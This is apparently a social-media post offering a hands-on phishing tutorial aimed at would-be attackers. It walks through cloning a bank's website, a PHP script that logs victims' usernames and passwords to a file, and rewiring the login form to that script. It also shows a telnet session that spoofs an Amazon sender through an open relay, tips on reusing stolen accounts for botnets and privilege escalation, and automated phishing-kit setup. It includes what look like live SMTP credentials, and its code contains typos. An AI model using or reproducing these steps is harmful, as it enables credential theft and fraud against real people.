C.I.T. Security: “𝗣𝗛𝗜𝗦𝗛𝗜𝗡𝗚 Phishing is the attempt to acquire sensitive informat…”

𝗣𝗛𝗜𝗦𝗛𝗜𝗡𝗚

Phishing is the attempt to acquire sensitive information by disguising itself as a known and trusted entity in the world of electronic communication.

Types Of Sensitive Information

▶️Login Credentials (Email / User / Pass)
▶️Credit Cards
▶️Identity (Driving License Documents)
▶️Health Information
▶️Accounts like: Steam, Bitcoin Wallet etc.

3 Types Of Usual Attacks

🔵Phishing - usually with a specific goal and to receive money
🔵Spear phishing - specific goals or groups
🔵Whaling - specific on a single person

Phishing Process

1️⃣ Reconnaissance (e.g. E-Mail, Position in the Company, Systems, Log-in Page etc.)

▶️Information Gathering
▶️Large companies potentially buy email on black market
▶️Start testing to correct future attacks
▶️Active and passive information gathering for vulnerabilities

Survey Tools:
▶️Metagoofil (https://tools.kali.org/information-gathering/metagoofil)
▶️Maltengo Radium (https://www.maltego.com/downloads/)
▶️Net Glub (http://redmine.lab.diateam.net/attachments/download/1/netglub-1.0.tar.gz)
▶️Recon-ng (https://github.com/lanmaster53/recon-ng)
▶️TheHavarester (https://github.com/laramies/theHarvester)

2️⃣ Setup and deploy (organization of systems useful to our goal)

▶️Domain Registration (https://www.godaddy.com)
▶️Mass Mailer
▶️Open Relays For The Domain Target
▶️Web Server Setup
▶️Website Cloning
▶️Web Application Development
▶️Malicious Attachments / Malware Payloads
▶️Browser Exploits

Read Also : What is Open Relay (https://www.techopedia.com/definition/1699/open-relay)

Test verything before sending you will not have a second chance (send first to own mail, use protonmail, gmail with anti spam detection).

3️⃣ Collect responses / organize them

Test your credentials:

Make other phish attacks from trusted account, connect them to a botnet / shells and persist increase your privileges.

4️⃣ Draw up a report do it for exercise and to keep everything tidy

Let's get to work. We identify our goal and fully carry out point one

Clone the website for hosting:

wget -r https://URL

URL = Your URL

Start fixing the cloned site:

sudo cp -r -v bankofamerica.com/index /var/www/html
sudo nano /var/www/html/index.html

This attack to be functional we need to register user and pass of the various users, we can write a short php script to collect all the variables (like user / pass)

<?php
$user = &_POST['_user'];
$pass = &_POST['_pass'];

$f = fopen("collect.txt", "a");
fwrite($ f, "$user: $pass \ n");
fclose();

header("Location: https://localhost/index.html");
die();
?>

We register username and password:

$ user = & _POST ['_ user'];
$ pass = & _POST ['_ pass'];

We save them in collect.txt

$ f = fopen ("collect.txt", "a");
fwrite ($ f, "$ user: $ pass \ n");
fclose ();

We refer them to the original site

header ("Location: https://localhost/index.html");
die ();

Edit the localhost with your server name (Phishing Website)

service apache2 start

Type on firefox localhost/index.html and you can see your website. I will talk soon about setting up a phishing page with own login and making a amazon phishing site or so on.

So as we set up the script the copy of the website the script would not work, so we have to go to the cloanate site and change the form.

<form> original

<form name="form" action="index.html" method="post">

working <form>

<form name="form" action="form.php" method="post">

So once we have created the site and found a way to collect the data we have to set up a server and finally test our attacks.

So here we have the right set of permissions for our web page

sudo chown www-data /var/www/ -R
service apache2 restart

Now testing the page we created we go to check:

cat /var/www/html/collect.txt

for example: lol / user iMbid / pass

Once tested that this works we go back to the reconnaissance phase

Mail server

We must understand how to send phishing e-mail.

During a vulnerability scan we will find that the mail server to an open relay that will allow us to impersonate a specific user.

So using telnet we will build the email for our goal.

In which we will impersonate a known and privileged user, who asks another known and privileged user to test the new performances of a specific private section

We are using SMTPs for this section ex:

webmail.gamewood.net:587,gin4fred@gamewood.net,srcosth

SMTP Server : webmail.gamewood.net
Port : 587
Mail : gin4fred@gamewood.net
Password : scrcosth

telnet webmail.gamewood.net 587
EHLO webmail.gamewood.net
MAIL FROM: no-reply@amazonl.com
RCPT TO: john-smith@gmail.com
DATA
SUBJECT: Webmail Site Update

We are currently testing a new performance configuration for the webmail site, please test the site change by visiting: https://rec.amazon.com/index.html (our crafted url)

Thanks
.
quit

Attack tools - Make the job easier

▶️SET ( https://github.com/trustedsec/social-engineer-toolkit )
▶️Phishing Frenzy ( https://github.com/pentestgeek/phishing-frenzy )
▶️beEF ( https://github.com/beefproject/beef )

SET the best, completed tool of social engineering attacks

beEF is normally used as part of the attack to learn more information

Phishing Frenzy is like SET and very nice

--------------------

Speedphish Framework - SPF

✦ Passes for all initial work points
✦ Automatic tasks useful to perform a phishing attack
✦ Written in python
✦ Complete or partial automation
✦ Can be configured with external tools if available

Features:
➣ Collects email addresses from internet
➣ Setup & host website
➣ Send phishing e-mail to our target
➣ Keylogger
➣ Create reports

Installation:

sudo apt-get install git build-essential python-dev python-pip phantomjs -y
sudo apt install python3-twisted
sudo apt install python3-dnspython
git clone https://github.com/tatanus/SPF
cd SPF
/spf
$ ./spf.py -h

Important give a delay to:

--test
--all

The suggestion is to run --test first and check all the work and that it is perfect

Let's take a look at the config:

We can set up the server that sends email
If we try to run

./spf.py --test -d example.com

Will tell us that it is using the settings in the default.cfg (we can also have multiple.cfg files)

Is trying to find emails linked to the website
at the end of the process he will tell us that for example 41 emails have been found linked to our target.

Then tool will start phishing on the webserver looking for template we will edit the templates
you will find us e-mail template then it will start sending emails

Finally, it will monitor the phishing website activity we will see all the activities on our templates and pressing ctrlc will stop the webserver generating the report.

Of course if we have not collected anything it is not convenient to interrupt the webserver.